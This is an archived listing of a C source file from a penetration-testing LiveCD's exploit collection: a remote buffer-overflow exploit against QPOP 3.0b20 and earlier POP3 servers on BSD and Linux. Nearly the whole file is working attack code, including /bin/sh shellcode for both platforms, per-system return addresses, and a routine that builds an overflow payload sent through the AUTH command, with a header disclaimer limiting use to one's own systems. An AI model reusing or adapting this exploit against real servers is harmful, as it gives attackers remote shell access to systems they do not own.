home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / pop3 / q3combo-private.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  124 lines

  1. /* QPOP version 3.0b20 and lower beta versions REMOTE EXPLOIT
  2.  * combination *BSD and Linux
  3.  *
  4.  * sk8@lucid-solutions.com
  5.  * http://www.lucid-solutions.com
  6.  *
  7.  * I have written this to test and demonstrate vulnerabilities on clients' 
  8.  * systems only.  
  9.  *
  10.  * !!!!!!!!!!DO NOT distribute!!!!!!!!!!
  11.  * (at least not until Qualcomm issues a patch)
  12.  * 
  13.  * You may only use this to test your own system(s).
  14.  * I am not responsible for any unauthorized use of this program.
  15.  *
  16.  * tested on BSDI 3.0/4.0.1, FreeBSD 2.2.8/3.3, Linux 
  17.  * 
  18.  * Since popper is usually compiled by the admin, return addresses will vary,
  19.  * but I have included common values.  You may have to provide an offset
  20.  * to get it to work on your system.
  21.  * 
  22.  * I wrote the exploit near the beginning of November 1999, and unlike some 
  23.  * other exploits I've seen since, this one works even on Linux boxes on which 
  24.  * inetd was not started from a shell prompt.
  25.  *
  26.  * Usage: If you can't figure out how to use this, you shouldn't
  27.  *       be in the security business.  (try netcat)
  28.  */
  29.  
  30. #include <stdio.h>
  31. #include <stdlib.h>
  32. #include <sys/time.h>
  33. #include <sys/types.h>
  34. #include <unistd.h>
  35. #include <sys/socket.h>
  36. #include <netinet/in.h>
  37. #include <netdb.h>
  38.  
  39. unsigned int NOP=0x90;
  40.  
  41. unsigned long offset=0; /* default offset */
  42.  
  43. char bsdsc[]=
  44.   "\xeb\x32\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x12\x89\x5e\x17"
  45.   "\x88\x5e\x1c\x8d\x1e\x89\x5e\x0e\x31\xc0\xb0\x3b\x8d\x7e"
  46.   "\x0e\x89\xfa\x89\xf9\xbf\x10\x10\x10\x10\x29\x7e\xf5\x89"
  47.   "\xcf\xeb\x01\xff\x62\x61\x63\x60\xeb\x1b\xe8\xc9\xff\xff"
  48.   "\xff/bin/sh\xaa\xaa\xaa\xaa\xff\xff\xff\xbb\xbb\xbb\xbb"
  49.   "\xcc\xcc\xcc\xcc\x9a\xaa\xaa\xaa\xaa\x07\xaa";
  50.  
  51. char linuxsc[]=
  52.   "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
  53.   "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
  54.   "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
  55.   "\xff\xff/bin/sh";
  56.  
  57. struct version
  58.   {
  59.     int num;
  60.     char* systype;
  61.     int buffer_length;
  62.     long address;
  63.   };
  64.  
  65. struct version verlist[] =
  66.     {
  67.       {
  68.         0, "BSDI 2.x/3.x, FreeBSD 2.x", 1001, 0xefbfd56c
  69.       },
  70.       {1, "BSDI 4.x", 1001, 0x8047564},
  71.       {2, "FreeBSD 3.x", 1001, 0xbfbfd3dc},
  72.       {3, "Linux", 990, 0xbfffd304},
  73.       {0, 0, 0, 0}
  74.     };
  75.  
  76. int main(int argc, char** argv)
  77. {
  78.   char* buffer, *shellcode;
  79.   int buflen, i=0, ver, retaddr, align=0;
  80.   struct sockaddr_in sockaddr;
  81.   struct hostent* host;
  82.  
  83.   if (argc < 2)
  84.     {
  85.       printf("Usage: %s version [offset]\n", argv[0]);
  86.       i=-1;
  87.       printf("\nAvailable versions:\n");
  88.       while (verlist[++i].systype)
  89.         {
  90.           printf("   %d: %s\n", verlist[i].num, verlist[i].systype);
  91.         }
  92.       printf("\n");
  93.       exit(-1);
  94.     }
  95.  
  96.   ver=atoi(argv[1]);
  97.   if (argc > 2)
  98.     {
  99.       offset=atoi(argv[2]);
  100.     }
  101.   if (strstr(verlist[ver].systype, "Linux"))
  102.     {
  103.       shellcode=linuxsc;
  104.       align=2;
  105.     }
  106.   else shellcode=bsdsc;
  107.  
  108.   buflen=verlist[ver].buffer_length;
  109.   retaddr=verlist[ver].address;
  110.  
  111.   buffer=(char*)malloc(buflen);
  112.   memset(buffer, NOP, buflen);
  113.   memcpy(buffer, "AUTH ", 5);
  114.   memcpy(buffer+800, shellcode, strlen(shellcode));
  115.   for (i=800+strlen(shellcode)+align; i< buflen-4; i+=4)
  116.     {
  117.       *((unsigned long int *)&buffer[i])=retaddr+offset;
  118.     }
  119.   buffer[buflen-2]='\n';
  120.   buffer[buflen-1]='\n';
  121.  
  122.   printf("%s\n", buffer);
  123. }
  124. /*                    www.hack.co.za              [2000]*/